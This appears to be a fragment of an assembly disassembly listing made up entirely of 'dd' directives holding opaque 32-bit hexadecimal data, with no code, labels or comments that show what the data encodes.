		dd 0A4AC420h, 0B5FFB167h, 18C2C06h, 0FF76B6Dh, 88ACB3E8h
		dd 334F08F8h, 2C645E1Dh, 0A13783BEh, 0A86CFD68h, 3E29EEADh
		dd 9CACE190h, 0BEAA0BB9h, 1223CCA5h, 0E594419Dh, 206E877Bh
		dd 4E403A00h, 67BA1499h, 7C84CC39h, 82740BE6h, 509AC0Ch
		dd 0A6BC6399h, 2C8F3781h, 3AD009CCh, 8058794Dh,	455D71BAh
		dd 24B0D719h, 0B89715B0h, 2BFE0D44h, 252C2101h,	0D5F7C404h
		dd 0A69472ACh, 0CA32644Eh, 25EB2051h, 0D4FC9261h, 116C288Ah
		dd 907D2613h, 16E0621Dh, 3A660A21h, 57230Ch, 0D72D2C9Eh
		dd 0A75B21F3h, 0EB1E4C02h, 2590DAA3h, 0E09DC13Dh, 0B3805791h
		dd 0EBD6C6DBh, 401E94Eh, 96473734h, 0D6803839h,	0E61204CAh
		dd 6B8CE700h, 0D0831901h, 9D463A4Eh, 44B0B022h,	0C1D762Ch
		dd 0A03318E3h, 0B37E68Bh, 0A002A734h, 0FB0DAB80h, 789CC081h
		dd 46749468h, 0D6210256h, 0A2A1CB1Eh, 0E4CF85D0h, 0A2A30824h
		dd 31395053h, 84C23982h, 9C4F48F4h, 8928E22Ch, 9C500429h
		dd 690CB160h, 74B2D62Eh, 9A99070h, 6153860Ch, 7BEBEA80h
		dd 0F0422B3h, 4807C896h, 0E6754C81h, 0AF19586Dh, 142E993Bh
		dd 59B84CA9h, 0BD243B05h, 8408F61Eh, 0CE778E8Eh, 6491532Bh
		dd 1724F2E1h, 3B88A8E2h, 0EBF60A61h, 2CC87462h,	716C980h
		dd 0A7B2C65Fh, 6357445Ch, 0D7458093h, 0D492250Bh, 4A26D482h
		dd 36D9440Fh, 0A84830B8h, 0E48FFAFCh, 54022FFAh, 0E191C0Dh
		dd 2FD288C0h, 0A0247C80h, 5FD8A4A8h, 0BCC0254h,	820F98F6h
		dd 78E0E755h, 85814490h, 76A6CE22h, 7F2D0186h, 0F1EBE528h
		dd 223992C2h, 60CDA821h, 0B00E27E4h, 7ABC4458h,	0C9CA7E8h
		dd 0E1398662h, 0C389296h, 397E63B0h, 67C3DD07h,	8B10C489h
		dd 0F21ABC52h, 5F302097h, 4E04CA72h, 0F526D20Ah, 58CEACE0h
		dd 9A1A8165h, 841E088h,	1580811Ah, 7786509Dh, 64F4E7F2h
		dd 31506746h, 4EE9EF6h
		dd 0C6D601EFh, 4B38A935h, 1EBFE088h, 0C05291E6h, 752CC9D3h
		dd 9D3F44B5h, 0FB08703h, 0DC5079CCh, 95BD4CC0h,	0BAA36898h
		dd 0E02BAB30h, 2F384A0Fh, 0B802D024h, 812F5B83h, 551FA2BBh
		dd 20820845h, 0DC102DA3h, 4940ABA2h, 54F8E1DEh,	74985C76h
		dd 0D5D1EF75h, 4F4C4B6Fh, 12EF8C96h, 1F852FBh, 0F8BE5648h
		dd 60040171h, 6899C230h, 8BA2C908h, 6472F710h, 1DDE3CA0h
		dd 989A449Ch, 0F4DC0031h, 1A99BF23h, 3180D89Dh,	0B00E4F1h
		dd 0BB061185h, 81566FFAh, 6C1FF2A0h, 0F417C3B2h, 780045AFh
		dd 0F9C75DDAh, 0BE416B9h, 2C9842F0h, 90783B1Fh,	0D4B07B2Ch
		dd 10420912h, 0F835EBD8h, 0E3C60638h, 7962FB54h, 0AF4F320Bh
		dd 0D1DCAF71h, 21535F18h, 450192A3h, 0BC957225h, 0EE600AAFh
		dd 7980E3FBh, 55FC4D50h, 0A49A10B6h, 3B276C90h,	0FE14274Fh
		dd 0E0CD2D48h, 3E3B68C0h, 6B7800C1h, 4B0E4EEEh,	100B016Eh
		dd 187CCD9Dh, 812AFA74h, 22702D83h, 80F0B94Ch, 3ED8B473h
		dd 3898F2D3h, 1A98E222h, 51B6C99Dh, 5DC8056h, 4ED495C1h
		dd 295CE2EBh, 2814948Ch, 59C84048h, 0C468A041h,	0E3A2B981h
		dd 2A987232h, 9D0BA8C1h, 0C5993FA4h, 60B6E4E8h,	4E75146Fh
		dd 3040915Fh, 0FBF3D4E9h, 20E51024h, 0A3D9C360h, 4F0DEAC4h
		dd 0F2AC52BBh, 336AF240h, 0FAD679E8h, 22C84251h, 0AD62218Ch
		dd 38404C6Dh, 314F89h, 0D6F06309h, 7512C3C2h, 6CC8735Ah
		dd 1ACC6E3Dh, 74F697E0h, 0D83B6183h, 0F92D017Eh, 7ADB560Dh
		dd 6023D6EDh, 62E8944Ch, 5A1C128Ch, 0FD1E106Eh,	2C4DA548h
		dd 0C8421309h, 0C8D93429h, 5F1841D1h, 0FC00AF7Fh, 5314C26h
		dd 0D66E09h, 0B480E2D4h, 439AB96Ah, 2C443B5Eh, 0F494E157h
		dd 7F00386Bh, 2C5101Fh,	0C01318A3h, 5F02CEE9h, 61BD2275h
		dd 22150524h, 0E22E2CACh, 9D43DFBh, 6ECBB402h, 0DC7E044Ah
		dd 9C6A2140h, 0F2A2000Ch, 0B550475Dh, 0C80099FDh, 0F60EB68h
		dd 0A4AF86FFh, 3068B864h, 0F46958FCh, 0B200D352h, 7F9CCFE7h
		dd 0EBAD39D2h, 718578D1h, 0E06D6AD6h, 0D480A5F8h, 70A3151Eh
		dd 2E225C8Eh, 465E8CB6h, 94200345h, 6E9967Eh, 0C736D440h
		dd 7513609Ah, 9CE348F6h, 0A8336CB2h, 0F286270Ah, 7A4E1669h
		dd 0DFF44450h, 6D2480B7h, 28B6B5FFh, 50808398h,	204B4A24h
		dd 72950F10h, 3659DE64h, 6E8F44C1h, 7414C204h, 0FF2ED220h
		dd 0E8BB9785h, 0D3CF56E1h, 4ED0181Ch, 7D0B882Eh, 12506846h
		dd 0CB0D8034h, 0B0862F4Bh, 0CD324A18h, 781993A0h, 84F8780Ah
		dd 1C046D97h, 12134E3Ah, 0E1913C8h, 692BF590h, 42A3B8A4h
		dd 0D25FFE0Dh, 0C822001Ch, 0DB7FC740h, 0EC077C02h, 27A58BFBh
		dd 33059C31h, 98303BC9h, 0B0F52E11h, 0A401F4BCh, 0EB92EF57h
		dd 16D10FBCh, 0A51BC30h, 84F6F0D3h, 0DE0781ACh,	0E4E376E6h
		dd 0CD008C24h, 9D4886F3h, 90FE0CE7h, 0B31E2DD4h, 0D7E50C60h
		dd 0C028695Ch, 120DDF8Fh, 6A4E0267h, 0CDFF0E19h, 40569462h
		dd 0F22147D4h, 6DAD1721h, 9990C098h, 971382AFh,	4C3ACF2Ah
		dd 71004623h, 0C32E64C6h, 0CC8530FEh, 0D2BB49B1h, 25E6325h
		dd 0E138C288h, 0CEDC0908h, 74AB7D95h, 0A0E8B075h, 5C9AD65Ch
		dd 15804032h, 0B3762B46h, 6092734Eh, 0F26707C5h, 78621535h
		dd 0CE0234FAh, 1050122Fh, 0F19CE2CDh, 27328220h, 947E88EFh
		dd 0FF74B240h, 1FC5EC5h, 2BA29974h, 0CD85004Ch,	19C1CEA1h
		dd 9C508832h, 0B2446B5Ch, 84AC24A5h, 8400E4E4h,	5F5C7490h
		dd 0FACF890Ch, 0B1890B0h, 0F2DAD8ECh, 4B116CF1h, 20EA4200h
		dd 0C0E02109h, 55609205h, 50C76A2Ah, 1E17BB48h,	7D5C494Fh
		dd 0B5570084h, 0C0E01B30h, 0DC345E91h, 55170B42h, 846404D6h
		dd 483C4448h, 55409CF8h, 3D621991h, 309A17C6h, 495820C3h
		dd 0AF28BAA3h, 0F925A461h, 603429BDh, 81A2CE80h, 41E4CD50h
		dd 1E8F290h, 24E25474h,	16CE876h, 42887C65h, 0F02DF2E1h
		dd 156C5902h, 94616A52h, 0F08114FCh, 0EC3D75FFh, 3219F330h
		dd 9D40531Fh, 54045054h, 0A2DA05CAh, 20D2340Dh,	8F573224h
		dd 504C7242h, 2080994Ah, 0B1006121h, 0ABE2F465h, 0A03B6Bh
		dd 0D89E9871h, 7E1F690Ch, 4F270DF0h, 40480185h,	1C22C236h
		dd 7CA1A2DFh, 4AD0387Ah, 5E5F5C32h, 861D8018h, 0ABD78EACh
		dd 5791C00Eh, 0AD1A0089h, 0FAFAF6FBh, 3102B8D4h, 23A9BDF2h
		dd 987DECDFh, 5035744Ah, 0ABC8ECCBh, 940D8FC0h,	9E8160Fh
		dd 0A2DCA3DBh, 50853058h, 9F09FEF8h, 5A3F0EC6h,	85654494h
		dd 79CEA7F8h, 3475A486h, 8A4E70A7h, 0C071C824h,	19093BE7h
		dd 6FB8B502h, 0FCF85492h, 631E4194h, 0EBD6006Ah, 2B08B655h
		dd 0B133E78h, 666CF186h, 3D8067Ch, 2219A9EEh, 7B29F137h
		dd 0D02C14B5h, 0D73C3A02h, 94F3056Bh, 57509CDCh, 219D9F2Fh
		dd 0E50CF8C8h, 73BC6C2Ch, 2F4B008Ch, 0D4FEAF7Dh, 0B132AC32h
		dd 0DC229052h, 7FF60C98h, 2E002031h, 564F1B07h,	0CF86B4FBh
		dd 9D07BA0h, 604613D6h,	3226D47Ch, 0A5A167C7h, 7CACA449h
		dd 90682024h, 12B61078h, 0E8EC4CE9h, 0FE008CB6h, 0D4DC7A5Bh
		dd 5C59F08h, 1F5126CEh,	0BC6CE990h, 706E27Bh, 7E88831Dh
		dd 85555521h, 3E6C83EBh, 8C0F482h, 11255CF1h, 11789DE0h
		dd 0B34481B0h, 0D0D72846h, 4DC7D66h, 0D9FA754Ah, 5D24C194h
		dd 6A9800C1h, 674902D8h, 0A3BDF723h, 0B279F840h, 80A05C4Ah
		dd 12294296h, 40E5CA85h, 73BC206Bh, 0BC0C9EF8h,	0B04A5B5Eh
		dd 0DBB82985h, 8102634h, 0D80181ABh, 7F273A36h,	44208065h
		dd 97A94422h, 0DCDC565Eh, 3818836Fh, 1B79EAC1h,	902AE3CBh
		dd 9CB6DE54h, 10DF4A0h,	0CEA1B12Fh, 0FB54120h, 99A71120h
		dd 0E152FB86h, 0D5593F00h, 44F05D15h, 3C7400B5h, 1805BC4h
		dd 3D4FA6CEh, 904B2CCDh, 13C07288h, 0F52279h, 0E7EEC7ADh
		dd 4EBE992Ah, 740564B2h, 0EBD4B09Eh, 4288A48Eh,	90CB73C3h
		dd 2FE1AECh, 5B169B1Bh,	28E4C785h, 0A91EF2F8h, 9CA42ECEh
		dd 0D279D883h, 99B9A0A0h, 0CF917A1Bh, 219EFB20h, 9481888Fh
		dd 24A861E6h, 0C4306A04h, 6E1312D8h, 594B59Ah, 5AE0041Ch
		dd 0BB5818ACh, 0B315A2Bh, 4C0069C0h, 0D310B028h, 0B1E1FB10h
		dd 734F5209h, 857D1421h, 5B8473C9h, 0A29B70C0h,	495F6A57h
		dd 3D114Ch, 225B879Ch, 70997C8h, 0E0BF9075h, 5E927195h
		dd 7876E5B3h, 0CDFF0ABCh, 0EB1464AEh, 0BB1905CCh, 44A42A5Bh
		dd 84F4A806h, 96835FF5h, 26001AF8h, 53C5F304h, 0B2FF21h
		dd 0A4B933CBh, 3EE4F688h, 20CC6F5Bh, 9C91FCh, 0DA0552BEh
		dd 830BAA8Dh, 5037D31Bh, 0DCB55C8Ch, 0D2810712h, 0C47C3DC0h
		dd 66E7B020h, 106D0274h, 0F98FD2B5h, 758860A8h,	5A011110h
		dd 1531A686h, 7C68CB9Dh, 1D72CD82h, 0AB6C8109h,	0DC3C5F2Fh
		dd 8C70E8h, 44CBB7FEh, 1B0FDE3Ah, 6487C325h, 842A5A10h
		dd 0C0689B30h, 0E03A2B52h, 93301E56h, 9879657Ah, 0F1E24207h
		dd 63FD71F0h, 0F9D902ABh, 4A197E2Ch, 6B403CF6h,	3F736E8Ch
		dd 2980C653h, 89017BD8h, 0F324D6ACh, 0C2A74CCDh, 0DEECD2C0h
		dd 113CE461h, 0B2B85CA3h, 0E95E25D8h, 3D007908h, 69176BCAh
		dd 2C42B9CCh, 324BD73h,	0CD9384DDh, 21505104h, 2CF37852h
		dd 803241B2h, 5BE159EBh, 6531006Bh, 0AA38CE6Fh,	9005BA72h
		dd 87FF1F3Ah, 0A9AC9497h, 60F0B0D6h, 44CEE917h,	2406FC0Eh
		dd 0BBCF6A9Ah, 0F9541261h, 0C99080BEh, 2C80F6DEh, 81B05BDBh
		dd 34C7700h, 294DB855h
		dd 0C9D4003Bh, 0FCFAFBD2h, 68B07687h, 733FCE01h, 0F16CE87Fh
		dd 9768406Eh, 0E0B134A9h, 0F36D0600h, 99ADBD26h, 0CB5C0054h
		dd 0BA301B36h, 9B5E1AF7h, 84827894h, 0E218C7E3h, 83F58E5h
		dd 0A75C58E5h, 60B5446Ch, 1A8B78Ch, 26FACA07h, 706EEDF9h
		dd 2C9C697Eh, 0A31B0B3Ah, 8570E0CFh, 2C90BFD3h,	2E40ABC3h
		dd 0D48CA2D7h, 470D4014h, 0DA007487h, 4BA291BAh, 13408E04h
		dd 0C89FEB89h, 31C2DCD0h, 5DAAD485h, 188368B8h,	0A8006B7Ah
		dd 0FD10138Eh, 0FF32E3h, 0CEBEE0F1h, 6B1901F9h,	0E5F8D3E3h
		dd 325FC7CAh, 25FF8CCCh, 2482E2D5h, 0A0F827FBh,	0BA1ACD79h
		dd 0FB2888FAh, 934A782Ch, 6DAB380Bh, 32C40295h,	0E621003Fh
		dd 27255077h, 0C4FC6739h, 47A76041h, 7D402691h,	9DD303F7h
		dd 0D93D51F6h, 0B9FB8E08h, 780D0147h, 30489A76h, 6B0C08AFh
		dd 8E70C2D6h, 1F0C1DA7h, 83664072h, 0E2C0F4Fh, 397DF722h
		dd 0EA7CC224h, 0D8CA2DCDh, 9D97C802h, 0EE6498EDh, 78EE217Fh
		dd 0A8B6CF9Dh, 0FAFF97BCh, 2BF5A020h, 0CBCE000Dh, 36B6C292h
		dd 0B900E1DBh, 86090107h, 73F24FD8h, 0A230D65Bh, 30AFF2F4h
		dd 0EF007792h, 0FD895E04h, 873A2BDh, 0D3020B36h, 708442Ch
		dd 0F76B0077h, 0FF393219h, 60F2C52Fh, 5FBAA30Ch, 24A48783h
		dd 8B00F88Eh, 20C8E453h, 0C4980CE9h, 6B027E46h,	5FD2AF10h
		dd 738A001Ch, 85F27D10h, 0CA0860A6h, 807EF663h,	0DF5827Ch
		dd 0D4722DE3h, 0F9D18525h, 0C22796D8h, 24E19F8Ch, 197A0155h
		dd 6582C830h, 0C1741049h, 9A11A14h, 5F91EBE0h, 0A8B894BDh
		dd 4E811054h, 0F79CA04Ah, 0C6F8F6B0h, 79190F69h, 71AC80C8h
		dd 0DD1EA572h, 45E0018Fh, 24664D7Ch, 81C7DAB8h,	8A22D226h
		dd 3016557Ah, 6122C81Ch, 4D3463Dh, 0AF46D820h, 0DE949830h
		dd 34C6166Ah, 0DEF4F63Ch, 0A088F30Bh, 357A9C9Ch, 0CA18C1ACh
		dd 48A47636h, 0D4E58A48h, 0E850C8DAh, 0A052D6A4h, 83D09948h
		dd 48D390Bh, 23A55DA9h,	0D4E02010h, 0D2888A2Eh,	714532B1h
		dd 4D1991A8h, 0F020A861h, 3482B7BAh, 8444C3Dh, 8290E51Eh
		dd 58AC2CA4h, 0CB73DB08h, 8D028F2h, 0F6808A38h,	0B69B0D06h
		dd 0D6551E59h, 0F74BBF6Eh, 35710218h, 82DB1BDDh, 1E2B37FCh
		dd 0AB4FD8A1h, 0CB0A28B0h, 8C62603Bh, 0D850B0A0h, 7C8453F3h
		dd 9163B618h, 0B368BB0Dh, 0FC20CA9h, 0C4545232h, 12C7310h
		dd 38AADDFFh, 0C824CE2Fh, 3B04C1B6h, 12D9D732h,	0B80692Ch
		dd 0FB743885h, 0F36A788Ch, 6700E0E8h, 5817E37Dh, 4182CE9Fh
		dd 2D802036h, 842F995Ah, 1702B623h, 5E5E9924h, 98E387A4h
		dd 1E368055h, 2900D3B4h, 0CB5B937h, 15289CE6h, 0C455FAEFh
		dd 80AEDE00h, 95C96369h, 0DA877D1Ch, 92D4D714h,	880D38A8h
		dd 2ED19BD6h, 9623D8C1h, 3444C704h, 0C99D42C2h,	26454F5h
		dd 0A320B30Bh, 0A494A957h, 0E234BEC8h, 3045B29Ch, 0C0058CF9h
		dd 555271Ch, 232B44B5h,	0D6908F80h, 14006B3Eh, 6DFBAE0Bh
		dd 27DE047h, 4EC996AAh,	91577E83h, 0F9155AD0h, 4F6B8C4h
		dd 6613D8CCh, 0DFF202C5h, 0C460C74Eh, 53E360B5h, 0D4C9007Eh
		dd 4C3120F3h, 8F975F37h, 1D360BACh, 81611138h, 264737AEh
		dd 271AFDF0h, 784087D3h, 0CD0550B6h, 1D65814Ch,	16F9D8CCh
		dd 20F5A804h, 595F524Ch, 2CC3FA1Dh, 18BC5493h, 453B5CD4h
		dd 0B1CC9D92h, 0E8302F48h, 1C15938h, 0F4BF6521h, 0E41EA6C3h
		dd 3BECB1CBh, 1B76F804h, 60A077A3h, 0D0305F9h, 222BFA55h
		dd 0EF20B0ECh, 1375D8Ah, 9214860Ah, 0ED97CD60h,	3E1FCC66h
		dd 0C63DFC05h, 0C042A1F2h, 707F9B1Bh, 0C1A2E4DCh, 0DD236751h
		dd 0E4542156h, 9CA0D450h, 0AAF80882h, 55E4A5B7h, 0F7D1E8C0h
		dd 77B89AC0h, 3139F245h, 96306FD4h, 0E12EF2FCh,	1CD2EDF7h
		dd 2A194C30h, 90840ED1h, 259B3294h, 0B3181B18h,	10E4253Ch
		dd 0F062E41Ah, 3CA480D6h, 10612A1Ch, 0F4A2D69Dh, 0C5306DB2h
		dd 46D20214h, 6F3301A7h, 0AC56EEE2h, 0F39DDC80h, 2BD1BEAh
		dd 0E0174252h, 0EB40A9DEh, 9F1D1C71h, 2C17E08h,	3655696Ah
		dd 0E2493997h, 33B6F26Ch, 0DAE66C98h, 0A0C6D229h, 18016B00h
		dd 9D0FCD57h, 0A7C118A0h, 9174ABFCh, 80F76938h,	15DBA89Eh
		dd 10CC27h, 761A5689h, 0B5F5F9CAh, 0F2A43500h, 857C03F7h
		dd 489771C3h, 7A120957h, 0C368A82Fh, 0A67BD488h, 0E7CC3D69h
		dd 0B8F2F600h, 0C0901DAh, 0AC3BD14Ah, 9C49CE10h, 8F883A90h
		dd 820875Eh, 19C199AEh,	0E01313D3h, 2043456h, 0FF83E19Fh
		dd 0BC011C74h, 0C30AE197h, 0E885DC5Ch, 0B43FCEBEh, 43485F58h
		dd 0B4E49674h, 8B2529BEh, 0F804A1F8h, 6C00CE8Ah, 72CA5D87h
		dd 196737Dh, 0E56B7E92h, 446E7F7Bh, 8004C00Ch, 7C0DD76Ah
		dd 8963187h, 1D29DAF0h,	0DB7598h, 6DE27486h, 0DF005C7Dh
		dd 0D92D856Fh, 616A8870h, 967428C9h, 89618372h,	0F7DB5F7Dh
		dd 6CA46081h, 2940F7E3h, 0D77578h, 0CF2D796Fh, 80339770h
		dd 529A4E03h, 0E5C42996h, 799E0403h, 7C603E92h,	9BAA9000h
		dd 29B93860h, 0AC75D1CFh, 0E8958076h, 0A0656DE4h, 0A115D318h
		dd 7086694h, 0D85D7B6Dh, 0DA5F83C0h, 6038A332h,	6A768880h
		dd 7B107CC8h, 2200E474h, 57912696h, 6AFA8C83h, 5B30D97Eh
		dd 2DCF3893h, 4065609Bh, 708771B9h, 7790E100h, 0C43E9679h
		dd 53DA072Ah, 0E7C87D9Fh, 0E159BF81h, 69C7D093h, 5F7478C0h
		dd 215D6CE5h, 8890AA7Ah, 28C8612h, 2D5E92B7h, 81BB3CB0h
		dd 0C5597B1Fh, 8A23785Fh, 34CCA679h, 0A43C7218h, 0C5B620E0h
		dd 4AA32086h, 0D72DA090h, 2228E49Fh, 34E552DEh,	0E51824F4h
		dd 0CE1984EBh, 8EBD2C26h, 18612FF0h, 8B57E642h,	4838ACF8h
		dd 0D0484BAh, 5CBB8A9Bh, 4CA684A0h, 0ED84BC45h,	58B21E40h
		dd 0C8F212ABh, 9EE760C6h, 0BE411A1h, 37127035h,	48D06E4Bh
		dd 0B77DCBD7h, 410748A3h, 61D0595Dh, 90083F60h,	40B65501h
		dd 7BBB0D7Ch, 0BC4A614Ah, 58326834h, 906C13C1h,	0CEA56098h
		dd 5706A6D1h, 0E425591Ah, 877870EBh, 0E2561094h, 0B7903560h
		dd 1A9FC3E1h, 2D712388h, 920C910Ah, 0F2182A1Bh,	0CC7468ABh
		dd 832B2D4Eh, 3679DC44h, 58282181h, 3F44209Eh, 5DEB14D8h
		dd 0CA04A099h, 0AE72E5E1h, 0D603CC61h, 190C7079h, 8D288A80h
		dd 0C915391Fh, 0B6BDEB85h, 0A310A8EDh, 8276C86Bh, 5613C319h
		dd 600B88E8h, 260AB4BEh, 2ABCACAFh, 0E00B24F3h,	284C017Dh
		dd 0CBC9820h, 883B4EDEh, 0AA110121h, 0FBD6A0D4h, 85B057B9h
		dd 0D0400B2Eh, 5119DC00h, 491C5FFh, 70104423h, 0DCA9B788h
		dd 88F5CA45h, 44C69830h, 0FA255452h, 357C7A70h,	0D41A757h
		dd 9091AE04h, 0B6C8B718h, 0F8379F64h, 1C54AF64h, 2910E323h
		dd 170B1894h, 0E0D18E76h, 64739A61h, 89BD4091h,	0A72C543Fh
		dd 0A3C2A03Bh, 0D4656856h, 6A2E13FFh, 98F21690h, 0D8847480h
		dd 0C82514B2h, 0B30310F5h, 9287FECAh, 386EE016h, 5CF6CC07h
		dd 0D6E50D00h, 55E2336Ah, 5EC71548h, 5128840Ch,	0D10F4C81h
		dd 0E1389850h, 214E60F6h, 2231B601h, 23070C90h,	0CF976ECh
		dd 457CD4C9h, 231CE4F1h, 8659E1FBh, 35B69118h, 0CB9D1839h
		dd 2985515Fh, 9854EC00h, 0D76DDD21h, 6B74000Ch,	50C81102h
		dd 4B00980h, 0A6916F63h, 14E4AC9Ch, 80FB48D8h, 57ABC781h
		dd 0DCD42031h, 890DE0C1h, 4AD1A1AEh, 14BE832Eh,	1D7E193Ah
		dd 84E7C875h, 47AB5878h, 0C18D77E8h, 0CCCCAEE3h, 0F494A941h
		dd 861B6783h, 78091D52h
		dd 3ED1C0A4h, 3657A125h, 5728503Ah, 0B807334Ch,	29A881AEh
		dd 8811E048h, 48C799A9h, 5101C941h, 0F0912480h,	0A011278Eh
		dd 0A326D4ECh, 6ECB806Bh, 54E95305h, 0C000F6FBh, 7F270855h
		dd 60FC9E6Bh, 9C25BAD8h, 4830EEE8h, 2BD218B4h, 2166674Eh
		dd 0F6AB826Eh, 3D8220DEh, 4A3A72C6h, 6C8448D8h,	45550388h
		dd 0AC5F10C8h, 24697117h, 602884A0h, 17A8711Fh,	5B04C9B8h
		dd 4F534A06h, 0AD80BCFCh, 0C781619h, 2710D201h,	28593A14h
		dd 94F4091h, 85128097h,	90465B20h, 45101B81h, 72104033h
		dd 98002AD8h, 3C7E6819h, 8877F6E4h, 0CC4EC920h,	8574E814h
		dd 0BC41876Dh, 0D197A780h, 97240D20h, 0E0B10C11h, 0F7E0F321h
		dd 88500B00h, 161A38BCh, 5B1C0929h, 2C043F58h, 39D940F6h
		dd 0E8886B9Fh, 0AF493D69h, 9D964301h, 50B2F277h, 392040C0h
		dd 0FEE13301h, 0FF98B341h, 89A2F030h, 271C245Ah, 8859ED68h
		dd 110530BCh, 967396Fh,	451E0620h, 309F0C05h, 0A621D4D4h
		dd 604A6896h, 0A6C605C3h, 26649021h, 0A843D89h,	50CBE03h
		dd 0ED5F261Bh, 4A9048F8h, 0B6F8C8h, 493CA741h, 0FBD72987h
		dd 8CD03B26h, 3D161423h, 308D380Ah, 4F73C608h, 64C3B389h
		dd 0A900C893h, 0D6FA199Bh, 5591D4h, 0A5A08301h,	0B6671308h
		dd 50649Fh, 7C1DA649h, 918BDC1Ah, 0CF9CF809h, 0A3041147h
		dd 280B6831h, 35A639C2h, 9AAC011Dh, 40312071h, 0F6A0932Ch
		dd 22C06954h, 68BF3D2Ch, 45005211h, 3B691A2Ch, 39240EECh
		dd 0EB641C51h, 836BA430h, 9C0BB017h, 23E08845h,	25D59827h
		dd 0ABF8F0C8h, 102DF20Ch, 208424B0h, 0D6042C37h, 1181967h
		dd 0FCA498C3h, 11A03EFFh, 84F84584h, 0DCE04542h, 0A81EEDCAh
		dd 0C4CC67E1h, 0B777808Fh, 13600C4Dh, 3FF81AEh,	6AC57092h
		dd 0A027C6E8h, 0A4F40546h, 2F2D060h, 0C020BF4Fh, 0D16F2258h
		dd 17693503h, 504A0455h, 0EA6B2129h, 24A84D08h,	1C4EE614h
		dd 4B413C06h, 20C189A5h, 0F3D310B8h, 902162D1h,	23702F7Fh
		dd 80F71C5Dh, 4CE5C80Ch, 4F11DD9Ch, 3F01A6F1h, 0DFCF799Bh
		dd 0D9A0407Bh, 9E07ECFBh, 0F2D6C06Ah, 1F1295Ch,	29AD04B0h
		dd 302880B9h, 0BB006A20h, 5A156BBAh, 2FA66E63h,	0FC4579DCh
		dd 0E660B5C4h, 340FD538h, 931B0D65h, 0B0D428FDh, 4B6BC502h
		dd 0EC7BF087h, 0D3FB9E00h, 445E6DE7h, 0AD0E9551h, 0C349FA87h
		dd 0D866F305h, 7A12AF4h, 6AD80E24h, 60413786h, 6976F8A3h
		dd 0C08C845Ah, 26EF297h, 0E8C6EB0Fh, 0F5826AD3h, 80C6D0DAh
		dd 452D3AECh, 718CD17Ah, 0EC18ACh, 97F29C63h, 5489F724h
		dd 1028E448h, 6927A3BEh, 0B600DC44h, 0BD2EC7Bh,	0B651C3FBh
		dd 4603006Bh, 6E83A02Dh, 4C9D603h, 0AF21F6BEh, 9D89DD8Fh
		dd 347659h, 8898B6FFh, 4A210E6Fh, 0F85125A4h, 0B4186159h
		dd 0F560B10Fh, 0F423E01Ch, 2C0D25B8h, 43C45EEDh, 39A03AA5h
		dd 0C200D4EFh, 35034751h, 5F8DD01h, 21BE77D2h, 80ECA899h
		dd 0FA0CD591h, 60C1005Ch, 2D6B85E1h, 0D100EAE7h, 0CBA724F6h
		dd 4A9F7BD4h, 0B4600E75h, 9868F98Bh, 8E075650h,	0D6DBFF77h
		dd 1519B8C6h, 0A0A620CCh, 0D1B54F16h, 10A0D284h, 98269C9Dh
		dd 294A63A0h, 8DF1146Bh, 0BCBC7C6Eh, 22018C6Ah,	0D8E60EF6h
		dd 94309736h, 0CF9F5B40h, 0A84F8494h, 887AB21h,	20E8857Ch
		dd 8C585D70h, 0C91A502Fh, 0A82DF644h, 0A3C1A500h, 0C29493D7h
		dd 420929EAh, 9D9878E3h, 0C063113Ch, 0B75DA1CEh, 7E5C263Ch
		dd 9F1128h, 33DB8153h, 4D2FD27h, 2CC1BC6Ch, 0D023BF5Dh
		dd 4638F019h, 69F712EDh, 0E14CF06Ah, 0AE88109Fh, 655005Dh
		dd 5254273Ah, 0CD033EACh, 2350485Eh, 0F5491847h, 4A1E3167h
		dd 79EF3200h, 0B67EDB63h, 36413D96h, 0B801023Fh, 84836945h
		dd 7BFBD1AEh, 4BC5E840h, 1C3CDB71h, 8B11F670h, 21000915h
		dd 793708F7h, 0DD2328C0h, 5E1160BDh, 0C06CD739h, 945C21C3h
		dd 0A36B3300h, 3E129E44h, 3D357755h, 69004F7Eh,	0B7D439CEh
		dd 0F22AACFEh, 1C3C90B1h, 930D00C3h, 0CA902C6Eh, 0FBDC000Eh
		dd 0E253A488h, 0F7036583h, 0F569230Bh, 0B3E1A075h, 88B8008Ah
		dd 0D4711701h, 6AFB517Ah, 5D66C88h, 30E3D272h, 603890A0h
		dd 5F13D0B6h, 0E4048445h, 84C2D825h, 11CA2047h,	2F005A8Ch
		dd 1F76EBBh, 9D55BA7Ch,	2070E804h, 60F6F3B8h, 0C713118Bh
		dd 34E20B12h, 86887B00h, 0B52A5B82h, 0E67072DEh, 0BCFA48E6h
		dd 0CF9A9380h, 5F7FE9FCh, 550798B8h, 0AF6F39C9h, 220EE4F0h
		dd 0D4D700D8h, 4B666A37h, 0C800AEBCh, 4AB392A5h, 509A04B1h
		dd 61D20453h, 4CE411AAh, 6EC0DC4Eh, 8103BD00h, 6833F6DCh
		dd 249019h, 31D804E6h, 34554A7Eh, 0CB12FD17h, 0C0405B1Bh
		dd 3CA2FFBh, 0D01130F3h, 2800C26Ah, 49C1702Ch, 1D99E6F6h
		dd 33FE454Eh, 68A03471h, 58608978h, 6DAC3820h, 0BDD7002Eh
		dd 0BF2C7C4Fh, 8A003F6Ah, 9CB33235h, 0E97621h, 702ED503h
		dd 79AF235Bh, 0EC141D07h, 77479094h, 0DBCC30E0h, 88132802h
		dd 0B0288344h, 0C0800D7Ah, 78361231h, 0E0C0DF31h, 0F8266810h
		dd 32553E44h, 18E7F118h, 9244D7D6h, 0AD68106Fh,	2B4A01F4h
		dd 0BEE9BD89h, 0D06998ECh, 0AF1B9431h, 15E130EBh, 0FBBAE111h
		dd 9C36103Ch, 7037FF34h, 2FA32C2h, 0CC9225D4h, 183F0437h
		dd 0AC10AD90h, 0B4E7509Fh, 4FF42859h, 8E5B0094h, 322E65FAh
		dd 80A0EFA5h, 0EB0363ACh, 8051BDD4h, 0AA291152h, 0F1C311F8h
		dd 0FB00CF22h, 6398B080h, 40111Eh, 0F4651246h, 10C8D8E9h
		dd 2BCCCB00h, 88C24E36h, 52470098h, 0EAEFAEEBh,	0D100CE03h
		dd 3706D611h, 3DCB383h,	0BD7654D7h, 0A298A57Dh,	9F487DBh
		dd 1AA86800h, 17FFF7A0h, 1D2F07C5h, 83557A39h, 0A3A85D4Dh
		dd 8B8F2CCh, 0C492E800h, 0BE98510Bh, 4272AF4h, 8D6F008Ch
		dd 838E7A3Eh, 0B40413BBh, 0F7A9BE45h, 86C083C7h, 3F2DEC51h
		dd 5BEA838h, 6EACC80Ah,	1EF181A8h, 80839116h, 7B08D8A0h
		dd 1F4547Eh, 0E0A8973Bh, 801524ECh, 0B306BC61h,	6069E144h
